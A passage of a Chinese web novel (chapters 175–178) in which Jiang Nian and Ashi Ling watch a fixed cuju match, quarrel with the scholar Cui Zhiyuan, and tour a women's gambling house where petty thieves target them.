阿史苓横出一步,拦下他,说道:“你且站住。” 说罢,一探手,将自己的珠簪从男人的衣襟扯下,谁知簪子钩挂住衣料,“撕啦——”一声,男人的衣襟被拉出一道大大的口子,露出绵白的里衣。 崔致远低头一看,气得面色涨红,心道,光天化日,这是碰上女痞了?简直欺人太甚! 他本不想计较,这两日鱼九还有老鬼几个到京都,他把人接到府邸,打算先邀他们看蹴鞠赛事,另在春江楼置了席面,宴请他们。 谁知好好的,碰上这么一茬事。 骂他,他忍了,还扯坏他的衣襟,叫他一会儿如何见人?这怎忍得了,好歹他现在任参知学士一职,同君王议政都无需经过左右大臣,可直谏,却被一女子这样侮辱。 阿史苓只关心手里的珠簪,根本没注意簪子把人的衣衫划破了,这簪子是她最喜爱的头饰,用六瓣金叶子攒成,叶内嵌珍珠十二粒,中心一颗颌血玉石。 此簪她不常戴,因今日入王庭,这才戴了出来。 女人取回自己的簪子,准备离开,却被叫住:“你撞了人就想离开?” 阿史苓顿住脚,扭头看去,两眼一睁:“分明是你这登徒子撞得我。” 崔致远气得面皮又是一红,好,好,他又从穷酸书生变成登徒子了,指着自己的衣襟,说道:“我不同你计较,你陪我一身衣裳。” 阿史苓注意到男人的衣襟破了一条口子,先是一怔,接着似有所悟,说道:“哦——这是准备讹人了。” “什……什么?”崔致远跟不上她的话儿。 阿史苓将手里的珠簪拢到袖中,扬起下巴,说道:“你自己穿个破烂衫,不就是想讹人,还装不知?” 崔致远气笑了,平时自己那样会说,在这不讲理的女子面前,居然嘴拙起来。 “你这女子好生蛮缠,我讹诈你什么?明明是你划破我的衣衫。” 他如今并不缺钱,大王在京都最好的地段赐了他一座府邸,又赏了不少钱财金锦,府上奴仆更是不缺,可他并未因身份的变动而肆意挥霍,仍是秉持节俭,衣物只要能穿,就一直穿,洗得发白也不愿丢弃,三餐饭食也简单。 今日这身衣裳还是为了待客,头一回穿,没半天就破损,怎能不心疼。 阿史苓嗤了一声,把崔致远从头到脚打量一番,说道:“你那衣裳本就是破的,偏赖我划破的,不是讹诈是什么?无非就是想让我给你钱。”说着往男人面前近了两步,“那你可打错了主意,我最瞧不起你这种妄图不劳而获的游手光棍,专行鸡鸣狗盗之事。” 哪怕崔致远最落魄之时,也未被人这样辱骂过,沉了沉怒息,再次启口:“想必你还未婚嫁罢?” “你如何知晓?” 崔致远嘴角勾起一抹怪笑:“我不仅知道你未婚嫁,我还知道更多……” 第175章 招赘婿 阿史苓听穷书生那样说,追问道:“少诓我,你同我又不认识,知道什么?” 崔致远往女人身上溜了一眼,笑了笑:“我知你定是生于巨富之家。” 这话说的阿史苓心中熨帖,有些得意起来,然而嘴角还未挂高,就听那书生说道:“依学生看,若非生于户富,你这女子此生难嫁喽——” 崔致远说罢抬脚便走,却被阿史苓再次拦下。 “刚才那话是何意,你说清楚。” “何意?意思就是得亏你生于富户,日后可招赘婿,否则哪个男人敢娶你。”说完又悠悠叹了一声,“嗳——有钱就是好,也不知日后哪个倒霉蛋娶这刁女子……” 崔致远洋洋说着,然而,后面的话却卡在喉头,只因那女子正红着眼眶,羞恨得将他看着。 一边的珍珠见状,赶忙劝说:“主子,算了,赶紧去客间整妆罢,别让那位久等。” 阿史苓想起还有正事,掉过身往另一个方向行走。 崔致远摸了摸鼻,又抚向自己被钩破的衣襟,无所谓地转身离开。 江念等不到阿史苓,正准备叫秋月去瞧一瞧,就见她走了来。 “怎么眼睛红了?”江念问道。 阿史苓忙说道:“可能刚才进了小飞虫。” 江念颔首,对秋月说道:“你同珍珠去珠珠那一桌,不用在这里伺候。” 秋月应是,携着珍珠去了另一桌。 此时看台上已坐满,不再进人,台上人群开始骚动,声浪越来越大,越来越高涨。 赛场上开始进人,只见两个队伍,一队穿青衣,头勒青色抹额,队旗上盘着一条青龙,另一队穿红衣,头勒红绫,队旗上是一只振翅的朱雀。 随着他们的出现,场内的呼喝声达到了顶点。 “念念姐,这两队分别是青龙队和朱雀队,都是京都数一数二的蹴鞠队。”阿史苓握着嘴凑到江念耳边大声说道。 江念看着台下的两支队伍,亦大声回问道:“哪队为一,哪队为二?” 阿史苓见江念问她,满腔话急不可耐地诉出,奈何场中声浪太大,好在高涨的声音慢慢平息下来,虽说仍是喧杂,可相互间说话能听清楚。 “那个青衣队,就是青龙队,队员皆是咱们京都权势之家的子弟,而朱雀队的队员都是穷苦人家出来的,加入蹴鞠社为谋生。”阿史苓解释道。 “谋生?”江念问道,“身份不对等,能做到真正的公平比试?” 阿史苓一笑:“这就是最有意思的地方,那些篷户子弟只要赢得比试,就能分得不少的利钱。”阿史苓拿下巴指向朱雀队,“为了赚钱这些人可不会因着对方的身份手软。” 这时,阿多图接过话,说道:“此道来钱最快,不少人挤破头就为了进蹴鞠社,再穷苦的人家,只要家中有人进了蹴鞠社,也就不穷了。” 这话说得叫江念吃惊,一场赛事居然可以改变一家人的境况甚至阶级? “那个叫苏和的……”阿多图看了一眼场中,继续道,“他是朱雀的领队,六岁随家人来京都,来京后不到一年,家中陡生变故,只剩他一人,穷得连饭都吃不起,流落街头行乞,后来被蹴鞠社的老板相中,收他进社。” 阿史苓指向红队中一人,解释道:“那个编织彩辫的就是苏和了,只要他上场,就没有输过比试。” 经过阿多图和阿史苓两人的讲解,江念自然更看重朱雀队,轻视青龙队,也更希望朱雀队赢得比赛。 不止她一人,场上众人皆是这个想法。 两边的队员正各自准备着,既然是赛事,无论赛马还是赛蹴鞠,一定有下码押注的,这是不成文的规定。 看台上的每一层都有两个赛场伙计,一个端举托盘,一个手拿册子记账。 当伙计走到江念这一桌时,问江念押注哪个队,江念和阿史苓招来自己的丫鬟,问她们要了银子。 阿史苓看向江念,看她押多少,她总不能高过王妃,需得低她一筹。 江念掂了掂荷包,这里面有十两碎银,不多,另有几粒金豆子,她以前见识别人玩过“关扑”,也就是押注,清楚一些门道,遂问向伙计:“这是一扑一,还是一扑二?” 此话一出,阿多图多看一眼江念,心道,真是小瞧他们这位王妃,还知道一扑一,一扑二。 所谓一扑一,一扑二,说直白一点,就是一赔一,一赔二。 一扑一,押注双方各出相等赌资,如各出一贯钱,胜者全取即“一赔一”,一扑二,则是一方认为己方胜算较低,可提出“若胜,则对方赔双倍”,如甲押一贯,乙需押两贯,甲胜则得两贯,乙胜则得一贯。 赛场伙计说道:“一扑二。” 这样说来,朱雀胜了赢一份,赢面大,从场中众人的反应来看,就是稳赢的局面,若青龙胜了,便赢双倍,利钱虽高,但赢面低,大多数人不会选择押注青龙。 江念掏出十两银子,在手里拨了拨,分成两份,一份四两,一份六两,心中暗暗盘算。 四两押注青龙队,六两押注朱雀队。 朱雀队胜算更大,那么她将六两银子押注朱雀队,赔率为一比一,赢,刚净赚六两,输则亏六两。 青龙队赢面小,另外四两她投青龙队,赔率为一比二,赢,净赚两倍,也就是八两,输,则亏四两。 是以,两边同时押注,若朱雀队赢,她净赚押朱雀队的六两,输掉押青龙队的四两,最后赢二两银子。 若青龙队赢,她净赚押青龙队的八两,输掉押朱雀队的六两,最后仍赢二两银子。 也就是说,无论哪队胜负,她都稳赚二两银子。 不错,不错,这个买卖好,江念笑弯了眼,她不在意这点子钱,就是喜欢赢的感觉。 于是六两押注朱雀,四两押注青龙。 那赛场伙计怔了怔,笑说道:“目前场中只有这位贵人投了青龙队。” 江念笑而不语。 阿史苓掏出八两银子,全押朱雀队,阿多图跟着江念,押了朱雀队六两,青龙队四两。 伙计收下钱资,做了记录,去往下一桌。 过了一会儿,闻得一阵通天鼓响,台上彻底安静下来,青红两队人员摆好阵仗,又听得监赛人“锵——”地敲响金锣,比赛正式开始。 那皮革制成的蹴鞠在两队人员脚下快速滚动,仿佛活了过来,穿梭于人群。 看得出来,朱雀队员都在极力配合把球传给那名叫苏和的男子,苏和得到球后,开始速攻,球像生在他的脚下一般,不论他怎么跑动,那球始终不偏不离地跟着他,距对方门框有一定距离时,一脚射出,守门之人飞扑过去,却连球的边角都没摸到。 看台上的人们先是一静,接着大声喝彩,如浪如潮。 朱雀队员之间相互拊掌以示鼓励,再观对面的青龙队,虽输了一球,却无丝毫颓丧,反而更加严阵以待。 监赛人将球抛向朱雀队,朱雀队员刚使了一招空中停球,球才落地,一个青影贴地闪来,一招滑斩,把球抢截了。 青龙队得到球后,开始急速强攻,根本不给朱雀队员回神,过人如同过桩,最后临门一脚,进了。 场上没了声音,没有静后的欢呼,只有无限延长的寂然。 唯有青龙队员相互抱头欢呼。 第三球开始…… 就这么的,一直持续到比赛快要结束,让所有人意料不到,两队打成了平手,也就是说,最后一球定胜负。 赛场之上,这么一个皮革制成的球成了两方争夺的宝物,抢夺中有人负伤流血,有人拼尽全力护球,还有人急速过人。 江念居高看着,红队更加玩命,对他们来说,每一场都是最后一场,输不起,他们若是输了,不仅拿不到钱,还会输掉名声。 看台上的观众在赌,他们这些队员又何尝不是在赌。 其中一名朱雀队员的额血染了半张脸,终于,他劫住了球,一息之间,在沉重的呼吸伴着快要破胸而出的心跳下,被血糊的双眼快速扫向周围,没有多余的时间给他思考,他将球传给了斜前方的那人。 正是苏和。 众人的呼吸跟着球体滑过的弧度高高提起,再骤然落下,然而,球未完全落地,被一道青影冲撞开了。 传球的那名朱雀队员怔在那里,呼吸越来越沉,他闭着一只眼,死死地看着斜前方的苏和,在所有人跑动起来之时,他如石像一般,立在那里不动。 只是把苏和看着,直到青龙队员发出欢呼声,他才转头。 场上先是安静的,然后开始躁动,接着是不堪入耳的叫骂,同开场时高涨的喝彩一样声势浩大。 “不能踢别踢……” “滚下场!” “赔我银子……” “完了!完了!我的所有家当……” 江念看了一眼场中情形,有人抱头蹲地痛哭,有人痴怔不语,有人破口大骂,还有人激愤地要冲下去打人,被赛场护卫拦下。 “哎呀,怎么朱雀队输了。”阿史苓嗔怪道,“早知道我随念念姐呢,还是阿多图大人聪明。” 江念心道,这你也能拐到阿多图身上夸两句。 他们一早来的,散场时已是午后,出了赛场,去了京都的春江楼。 春江楼位于京都繁华地段,又正值饭点,门前人流如粥,一行人下了马车,店伙计迎了出来,一楼大堂已坐满,二楼还有半敞的雅间。 店伙计将江念等人引上二楼,进到半敞的雅间内,依次序先后落座,叫了店中几样招牌饭菜。 江念、阿史苓还有阿多图坐一桌,秋月、珍珠还有珠珠等仆从一桌。 这会儿天燥热,稍稍一动就出汗,江念向几人告了几句,要去三楼更衣,众人忙起身。 秋月拿了包袱,伴在江念身侧上了三楼,立时有店中女侍上前,引进一间房中。 秋月叫女侍打了水来,再替江念除了外衫,以巾帕拭身,再换上一件水色大袖长衫,领口微敞,露出里面枝红色的小衣,外面一层流光锦纱,以银红丝绦束腰。 “婢子替主子重新拢一拢发辫罢?” 江念点了点头。 秋月为江念散发,拆了小辫,在额前左右各挑出两绺发,扭成麻花,拢到脑后,同其他发丝归到一起,编织了一个松散的发辫,再以碧海珠缀于发辫上,清丽又自然。 秋月当真觉着她家主子的姿颜经得住人眼打量,耐得住时间熬磨。 整理妥当后,两人出了房间,才出房门,迎面碰上一人…… 第176章 娇艳的人儿 江念看了一眼对面之人,有些意外,那人看见江念也是一怔。 想不到在这里碰上了。 江念记得这人好像叫苏和来着。 这会儿离得近了,才看清这人的面貌,微深的肤,英气挺直的鼻,眼褶浅窄,眼尾褶痕飞斜,身形矫健,并不壮硕,比之呼延吉,没有高傲悍野的狼性,却是几分不一样的世俗狐气。 男人微微侧过身,让出道来,江念颔首,错身而过,也就在错身之际,男人的声音响起。 “输了多少银子?” 江念脚步一顿,不予理会,捉裙离开,男人看向女人的背影,轻笑一声:“回去不怕夫君训责么?” 江念停住离开的步子,转过身,回看向男人。 苏和双腿分立,嘴角吊起一抹玩味的笑,看向对面的女子。 因夷越征战大梁,梁边境不少城镇归属夷越,随之而来的,京都越来越多梁人面孔。 不过嘛……这般娇艳的花儿,还是头一次见。 江念静了一息,启口道:“叫郎君失望了,妾身不仅没输,还赢了不少。” 苏和呆了呆,扯了扯嘴角,问:“你没押我赢?” “郎君踢假球,妾身可不敢押,否则回去叫夫君好打一顿哩!”江念不再多说一句,转身离开。 苏和心下一惊,惊过后又觉着有趣。 他苦怕了,穷怕了,孩童时随父母来京都谋生,后来家中陡生变故,父母双双离世,他不得不流落街头,一个几岁的孩子,没有人看顾,多半是死。 他同狗抢食,又在其他花子的地盘乞讨,被他们追着打。 夷越大多时气候暖热,可也有寒凉的雨季,雨天,他不得不为了吃食继续到街边乞讨。 一身破烂麻衣在雨中湿了,讨得的吃食也是霉的,衣服还没完全干透,淫雨一下,衣鞋永远干不了,整个人霉的发臭。 天假其便,他被蹴鞠社的东家看上,给了他一个翻身的机会,自此有吃有喝,又置了产业,再不用为吃穿发愁,赚的银子几辈子花销不完。 按他现在的钱资完全可以抽身退出,他本也是这样打算的,找到蹴鞠社东家,道出自己的意思。 “苏和,这真就舍得退出蹴鞠社?我这里可离不了你。”蹴鞠社东家说道。 “东家看得起我,蹴鞠社多少人挤破脑袋也进不来。”苏和说道。 “可这世上只有一个苏和,再找不出第二人。” 苏和笑了笑。 蹴鞠社东家见他态度坚持,也不再劝留,想了想,提出一个要求,便是为他踢一场假球。 “东家可知我名声的金贵,现在你让我将它毁了?”苏和自然是不愿。 蹴鞠社东家并没强言迫他应下,而是打起了感情牌,叹了一口气,说道:“你就当帮叔一个忙,这么些年,叔不曾亏待过你,苏和,这些不用我说,你扪心自问,是不是?况且你若踢了这场,我让三分利于你,这可是一笔不菲的数。” 苏和摇了摇头:“话不是这等说,东家收我进蹴鞠社,确实于我有恩,可这些年,我也为你赚得盆满钵满,这还不够?再者,我如今手头的钱也赚够了。” 其实蹴鞠社东家真要强硬语气,苏和不会点头应下,偏他说完这话,那东家不再言语,只是一个劲儿地叹老气。 苏和念他恩情,终是应下了,他的最后一场赛事,也成了他一辈子的污点。 纷杂的思绪刹那间在苏和的脑中滚过。 他倚在栏杆上,探头看向趋阶而下的女人,戏说道:“娘子,你们梁人是这么叫的罢?” 江念不理会,脚步不停,继续向下行去。 苏和笑了笑,一手玩着腰上的玉环穗子,朝另一个方向走去。 江念回了雅间,坐下,菜已上齐,江念提起筷子,其他人随后动筷。 正吃着,隔壁传来一个笑声:“崔大哥这衣服怎的破了?” 隐隐听到另一个声音说道:“今儿背运,碰上一个蛮婆娘,不讲理的很。” 阿史苓一听这声音,可真是冤家路窄,遂转头对江念说道:“念念姐,阿多图大人,你们先用饭,容我起身离席,去去就来。” “怎么了?” “碰上一熟人,我去看一看。” 江念见她这般说,点了点头。 阿史苓这厢起身,那厢珍珠就随在了身侧,一齐往隔壁的雅间走去。 崔致远正同几位副将说笑着,一个伙计走了进来,躬身说道:“这位客官,外面有人找。” 崔致远放下酒杯,微微眯起眼,说道:“什么人?” “是位姑娘,找你一叙。” 鱼九嬉笑道:“崔大哥快去,这是招桃花了,莫让姑娘家久等。” 崔致远身上带了微微的酒息,站起身,随店伙计走出雅间,转过一个拐角,就见一女子侧立在那里,一眼便认出,这女子正是今日相撞之人。 “蛮婆娘,你刚才是这么叫我的罢?”阿史苓转过身,正面问道。 崔致远脸一红,有点不自在,背后议论一女子,还被抓住了现行,觉得有些对不住,正待开口道歉,对面女子从丫鬟手里拿过一金色荷包。 拉开系带,往里面看了一眼,再系上,往他这边一抛,说道:“拿去。” 崔致远下意识地接住,不明所以:“什么意思?” “你不是说我把你衣衫划破了么,是我的过错,这个钱你拿去,买身新的。” 崔致远见她一改上午泼辣的态度,反倒不好意思起来,觉着自己不该揪着这么点事不放,他一个男儿,显得没有气量,于是清了清嗓子,想说两句软话,还没开口,那女子上前两步,靠拢过来。 两人的距离瞬间拉近。 崔致远个头儿不算高大,阿史苓个头娇小,两人立在一起,倒很相称。 她这么一靠近,他的脸更红了,心跳开始加快。 阿史苓的目光刚好落在男人胸口破开的衣襟上,露出里面一点点绵白的里衣。 “我那荷包里有几粒金豆子,可以买几箱你这衣裳。” 崔致远点头,就要把荷包还回去,他也不要她的钱,心里正想着,“撕啦——”一声,空气在这一刻凝固了。 崔致远缓缓低下头,女子刚好收回手。 衣襟上小小的口子,变成了大大的口子,衣布撂出来一块,掉摆着,像哈儿狗垂下来的大舌头,一阵风来,吹得招飐着…… 崔致远回过神,脸上的红彻底退出,气得两条胳膊发麻。 他就说她怎的这么好心,主动赔钱赔礼,原是为了给他更大的羞辱,这哪里是女子,分明是夜叉,再一看,身前哪还有人,那人早已带着丫鬟走了。 江念见阿史苓去了回来,面上带着喜色,正待问她几句,一个人影突然冲进来。 阿多图立马站起,护到江念身前,看清眼前人之后,惊道:“崔学士?” 崔致远本是带着满腔怒意,在看见阿多图的那一刻也怔住了。 “阿多图大人?你怎的在这里”说着往阿多图身后扫去,在看见江念后,又是一怔,“殿下怎么也在这里?” 江念见到崔致远,微笑道:“阿史家的苓姑还有阿多图大人陪我出来转转,总在王庭怪闷的。” 崔致远这才转头,看向另一侧,阿史苓端端正正地坐在那里,回看着崔致远。 两人就这么静止了一般,大眼瞪小眼。 “崔学士,你的衣衫怎么回事?”阿多图笑问道。 崔致远讪讪笑了一声:“失礼,失礼。”说这话时,并不看阿史苓,同阿多图厮见礼,又对着江念行了礼。 “可是东境的几位副将在此?”江念问道。 “正是,来了几人,待这一行走了,另几人再来。”崔致远回道。 几人又叙了几句,崔致远离了雅间,去了隔壁。 “念念姐,刚才那人是?”阿史苓拿起茶杯,喝了一口茶,状作随意地问道。 “那位大人姓崔,新进的参知学士,是个很有才能的人。”江念解释道。 阿史苓记下了,原来还是个当官的,若他是官身,那自己还真误会他了,先前讥骂他是游手光棍,说他讹诈钱财,如此一看,岂不是他的衣裳也因她而破损? 他让她赔衣裳钱,结果自己不仅没赔罪,反倒把人家的衣裳拉出更大一条口子…… 阿史苓摇了摇头,不去想,越想越糟糕。 众人用罢饭,又闲坐了一会儿,外面已是炎光西坠。 江念看了一眼窗外,见天色不早,微笑道:“苓姑,今儿有你陪同很是尽兴,也烦了你一日。” 阿史苓摆了摆手,笑道:“这才哪到哪儿呢,念念姐,一会儿我带你去另一个地方,那儿才叫有意思……” 第177章 禁止入内 上午看了蹴鞠比试,很精彩,场中浩大的声势振奋的人热血涌动。 从赛场出来,已是午后,又到春江楼享用美馔,歇息散疲乏,用罢饭后,清坐了一会儿。 近傍晚时分,江念见时候不早,准备乘车回王庭。 谁承想,阿史苓说后面还有更精彩的节目。 江念见她兴兴头头的样子,不好拒绝,也好奇接下来去哪里,于是不说回王庭的话语。 一行人从春江楼出来,仍是阿史苓同江念乘一辆马车,几个丫鬟乘一辆马车,阿多图驱马随在车旁,前后围护着十几名常服打扮的亲卫。 阿史苓掀开车帘,探出头,对车夫吩咐道:“去聚宝阁。” 车夫一听,怔了怔,看向阿多图。 阿多图自然听见了,纵马上前,严声道:“不可!” 阿史苓脸一红,微微垂下头,江念见了,心道,这一路她是看明白了,苓姑对阿多图有心,她又是女儿家,脸面薄,阿多图声音稍稍一厉,她就有些屈着,于是揭开车帘,说道:“阿多图大人,不妨事,过去看看。” 阿多图忙恭声道:“梁妃要去聚宝阁?” 江念点了点头。 阿多图不再言语,大王交代过他,安全之下,只要别出京都,她要去哪里由着她,聚宝阁安全倒是安全,只是那个地方…… 既然江念开了口,阿多图不好多说什么。 阿史苓坐回马车里,从车帘往外觑了一眼,叽咕道:“阿多图大人好凶。” “他是受了大王之令护我周全,所以会谨慎些。”刚才阿多图的反应,江念看在眼里,对聚宝阁起了好奇,“这聚宝阁是什么地方?” 阿史苓刚才还为阿多图的严词而苦恼,见江念发问,那烦愁一下扔到脑后。 “马上到了,一会儿就知晓。”说着揭开车帘,看了一眼外面的天,炎光退去,天光渐暗,遂放下车帘,神秘道,“夜里,才是聚宝阁最热闹的时候。” 车马又缓行了一会儿,停下。 丫鬟们从后面的马车下来,走到前面的马车旁,先后搀扶着自家主子下马车。 江念看着眼前琉璃溢彩的四层楼宇,比上午蹴鞠赛场的红色大楼还要高大。 楼前好大一片场地,灰晶岩圈围垒砌,形成一座半人高的矮墙,矮墙前立着两名赤膊大汉。 那彩色琉璃瓦的楼宇就在院内最里端,远远观得红底大匾上三个金漆大字,聚宝阁。 这里是东市,是夷越京都最繁盛的街市,所售的货物也比别的地方更高一等,连那街道都像是金砖铺成的一般。 弱下去的霞光不算晃眼,映照到彩色铺成的琉璃瓦上,红的、蓝的、绿的,带着星星点点的白光,杂糅到一处,宝石一般,富丽多彩。 不时有人进入楼内,且只有往里进的,没有出的,而且这些进入楼内之人俱为女子。 “念念姐,咱们进去罢。”阿史苓欢快地说道。 江念点了点头。 一行人往前走去,就在走到灰晶岩院墙时,阿多图等一众侍卫立住脚,不再往前。 “阿多图大人,怎么不走了?”江念问道。 阿多图看了一眼院内,开口道:“聚宝阁是京都最大的女子赌坊,只容女子进入,男子禁止入内。” “赌坊?!”江念惊道。 阿多图颔首称是。 阿史苓从旁说道:“念念姐,咱们只进去看一看。” 江念看向阿史苓,见她双眼晶亮,一脸兴然,估摸着她也没进去过,今日借着陪同她的空档,想进去见识一下。 江念抬眼看去,金乌已完全落于山后,多彩琉璃的屋顶随着天光变暗,屋顶的流光转移到阁楼内。 楼内亮起灿然的灯火,明黄的辉光中,人影来去,喧闹起来,金灿灿的像一个聚宝盆一般,诱着人不自主地往里探看。 “念念姐,咱们去看看罢,你想想呐,你们梁国哪有这营生,人生只此一世,需得不枉此生。”阿史苓说道。 江念以前也爱玩,熟知她的人是知晓的,如今她年岁不轻,再加上家中陡生变故,一系列遭遇使她的顽性收敛了不少。 不过阿史说得也没错,人生只此一世,且女子赌坊她还未曾见识过,梁国约束女子的教条太多,出个门还得遮遮掩掩,没夷越女子自在。 不时有马车赶至此处,楼里的女伙计忙不迭地引着车马停靠到对应的位置。 江念看向阿多图,说道:“阿多图大人不如去周边的茶馆坐一坐?” “微臣就在院墙外候着。”阿多图说道。 就此说定,江念带着秋月和珠珠,阿史苓带着珍珠,一行人往聚宝阁走去,先是进入灰晶砌成的院墙,再行过一段距离,走到楼门前,便听到喧嚷的声浪。 “买大买小?” “买定离手——” “开宝!” 有做庄伙计的叫喊声,亦有玩家的唏嘘声。 两个身高体壮的女门子,打起门帘,出来一个合中身材的女伙计,殷勤地把江念几人迎了进去。 “女客们头一次来?”女伙计问道。 “我们可不是头一次来,只是来得少而已。”阿史苓怕他们欺生,扯了句谎。 女伙计一双眼在几人身上一溜,心下了然,是生客还是熟客,她一眼就能看出,这几位绝对是头一次来。 江念倒是不在意,展眼往厅内看去,里面的屋柱俱是漆的金面,阔大的厅,高耸的屋顶,往上一看,上一层亦是人声沸沸。 一楼,一眼望去,一张张长形桌边围聚的皆是人,有年轻的女子,亦有年岁稍长的女子,有穿金戴银的,亦有素服布衣的。 女伙计见几人衣着讲究,连身边的丫鬟都是华服,心中有定数。 “小的带几位女客去看一看?玩两把?” 江念却摆了摆手:“不劳,我们随便看一看,你招呼其他客人。” 女伙计一怔,像她们这些常年混在赌坊的人,早已练就了一双富贵眼,见着人,只那么上下一扫,便能瞧出那人是穷还是富,是小富还是巨富。 为首的两人一看就是巨富之家出来的,其中年轻的那位又以梁人面目的那位为尊,心里想着,今夜可以捞些水子。 所谓水子,是他们这行的黑话,通俗讲就是抽成的佣金。 女伙计仍不死心,对江念说道:“女客,小的陪你走一转,咱也不玩大的,先投些小的试试手气,如何?” 阿史苓听了,有些心动,悄声对江念说:“念念姐,要不让她带咱们小试两把?就是输了也不打紧,输了就收手,不玩了。” 江念仍是对那女伙计说道:“你去招呼别人罢,我们自己转一转。” 女伙计见劝不动,收起面上的殷勤,冷着脸走了。 阿史苓问道:“怎么不让她留下来?”说着,转头往场中看去,很多人身边都有女伙计陪侍,毕竟有场内人从旁引着,还是强些,她们不懂门道,可她想不通,梁妃为何打发那人走了。 江念往里走去,阿史苓随在她的身侧。 “苓姑,今儿咱们只来此看一看,不玩。”江念一面漫走着,一面说道。 阿史苓追问了一句:“不玩?念念姐,好不容易来一回,怎的不玩呢?” 江念拿下巴随意指向一个方向:“你看那些人。” 阿史苓看向场中。 “那些人都想赢钱,可最后真正赢的人能有几个?”江念说道。 “总有赢的罢,没赢钱只能说明运道不好。” “确实有人赢钱,今次赢了,还想赢得更多,输了呢,又想要撵本钱,只要沾染上赌,不输得倾家荡产是不会收手的。” 阿史苓不能体会更深:“赢钱了不收手,输钱了也不收手,那不是没个止境?最后死在这台桌上?” 江念听罢,觉着这个形容好,说道:“话虽粗,却是实情,苓姑一点就通。” 阿史苓得到江念的肯定,觉着满足了。 江念同阿史苓再加上秋月、珠珠,还有珍珠,一共五人,开始在一楼厅堂观转。 一楼分成两个区,一边玩骰子,看了一圈,又往另一边转去,另一边比骰子区更为热闹,吼声更大,人闹声中,隐隐闻得“嘁嘁——”之声,走近一看,原是玩得斗蟋蟀。 女子赌坊已叫江念开眼界,谁承想,坊里还有斗蟋蟀,在梁国,只有男子才能玩的把戏。 不过这一区的人比之骰子区人少,声势却大。 江念看着那些蟋蟀的主人一个个叫得比蟋蟀还欢,遂走过去,在人群外踮脚往里探看一番,由于人围得太密,也没看到什么。 只听到一个个高喊着:“咬它,咬它……” 还有女子嘘叹说着:“这个不行哩,刚开始就提罐溜边了,害我输了好几两银子……” 阿史苓问向江念:“她们说的提罐是什么意思?” 这个江念清楚,梁国上上下下尚玩蟋蟀之戏,以前江轲就养过一只“青头将军”,骁猛非常,这里面的行话大同小异。 “两只蟋蟀放入罐中,用草棍挑逗使其相斗,‘提罐’的字面意思就是提起陶罐,蟋蟀被草棍挑逗后仍不迎战,反而在罐内绕圈躲避,这个时候就将蟋蟀提起,如此一来,就会判定主人输掉赌局。” 江念往那边看了一眼,继续说道:“提罐的蟋蟀要么品种太劣,要么就是负伤怯战,刚才那人说,刚开始就提罐溜边,估摸是只次等虫。” 阿史苓发现江念比自己“高”出许多,得仰望才行。 二楼比之一楼稍静,玩骨牌的,牌桌比一楼少,显得二楼厅堂更阔大。 江念等人上来,那些玩牌的女子们没有一个抬头注意她们,皆凝神看着自己手中的骨牌,几人转看了一圈,只有场中的女伙计盯了她们几眼。 秋月随在江念身侧,不敢有半分掉神,她不得不打起十二分精神。 “主子,还要往上去么……” 第178章 做局还是放血? 江念看了一眼通往三楼的阶梯,那上面的光比一、二楼稍暗,也更安静,能隐隐听到一点点低语,想来上面的玩法更高等,且通往三层的楼阶旁有几名膀粗腰圆的女子侍立着。 “不上去了,咱们转下去,就回罢。”江念说道。 阿史苓点头应是。 几人缓缓下到一楼,穿进大堂,这一会儿人越来越多,堂间更加热闹。 一个不起眼的角落,或站或蹲了四人,只见这四人身着粗布麻衣,一头枯黄的发像稻草一样缠绕在脑后,面皮干瘦,眼角带着一点点血丝。 常来聚宝坊的人没有不认识这四人的。 最高个的那个,三十来岁,人称七姑,家里守着一间药材生意,她男人是大户人家的奴仆,替主人家在外看守铺面,生计不愁,且还自在,不用在宅子里拘着。 这日子一般人想都想不来。 七姑是个厉害泼辣货色,她男人呢较斯文,有些惧内,这倒也没什么,只要能把日子过好,一家一个过法。 偏这七姑迷上了赌,把家里的钱都拿到外面败了。 她男人说了几次,她没听进去半分,反叫她跳起脚来,指着鼻子骂。 “你个没用的夯货,老娘出去赌为的什么,还不是为了这个家多有进账,指着你那几个月钱,早饿死了。” 男人先时还忍着,总想着她的好,虽说脾气坏了些,可也是个能干人。 谁知说了她几次后,不仅没有半分收敛,反而变本加厉,把他的月钱偷去做赌资不说,还把铺子里的钱偷了去赌。 最后管家来对账,这才发现不对,这事一下就捅到了主人家,牵连双亲受责,也因这一茬,男人死了心,七姑被赶出家门,自此以赌坊为家,又在坊中结识了几个臭味相投的女子。 几人成日在赌坊游转,手上有钱时,就上桌开赌,待把身上的钱资赌光后,再想办法搞钱,如此往复。 她们搞钱的办法无非是盯着场子里的女赌客,从她们身上捞油水,拿打赏,再不然,趁人多之时,从他人身上顺些值钱的物件。 聚宝阁也不好撵人,这一行当本就鱼龙混杂。 赌坊的老客,她们不好下手,专盯赌坊生客,这不,就盯上了江念一行人,再者,就江念和阿史苓一行人的行头,想不盯上都难。 七姑往江念几人身上一扫,搓了搓脸,说道:“要开张了,运气好,来了几只‘白鸭’。” 另一人说道:“刀磨好了,怎么个宰法,是做局还是放血?” 放血又称放水,赌道上的行话,以手段故意让人先小赢几局,引诱其加大赌注,等上钩了,再通杀。 而做局也差不离一个意思,不过比放血更狠,是奔着人家棺材本去的。 七姑在那几人身上打量几眼,努了努嘴,示意另几人看:“中间那两个,看她们的衣裳。” “衣裳怎么了,不就是富户人家喜穿的绫罗么?” 七姑嗤笑一声:“这两人的衣裳布料可不是普通的缎子,你们看那个梁人面相的女人,她身上的水色长衫,还有外罩的那层浮光纱,就这样一套下来,可抵东市一间小铺面。” 其他三人倒吸一口凉气,瞪着眼:“那她身上岂不是穿着一间铺子?!” 七姑冷笑道:“这还不算,你们再看她发辫上缠绕的珍珠,那可是碧海珠,你们可知一颗的市价是多少?” “多少?” 七姑伸出一指,其他三人见了,猜测道:“一两?” “再猜。” “十两?” 妇人仍是笑而不语。 那三人颤着声儿,开口道:“一……一百两?” 七姑眼一斜,看向另外三人,说道:“一条人命!” 不等三人反应,妇人继续道:“年年不少人为这珠子送命,还有,你们看她旁边那个矮个女子,那头上的簪环价值难估,连她二人身边的丫鬟俱是金锦加身。” 三人一听,当下明白她话里的意思,有这么几座行走的金库,还玩什么套路,不如直接上手来得快。 七姑给另三人睇了个眼色,那三人立马会意,她们今儿撞大运了,迎来几位财神爷。 四人分散,挤进人里,从不同的方向往江念等人身边围去。 因着秋月警惕,一直紧紧随护在江念身侧,又有珠珠跟在身后,七姑几个一时间近不得她的身。 遂把注意转到阿史苓身上,阿史苓身形娇小,四人分工明确,三人负责打掩护,另一人负责上手,上手之人扯下阿史苓腰间的香包,掂了掂,里面没多重,想着这些人家的女子多半不带钱在身上。 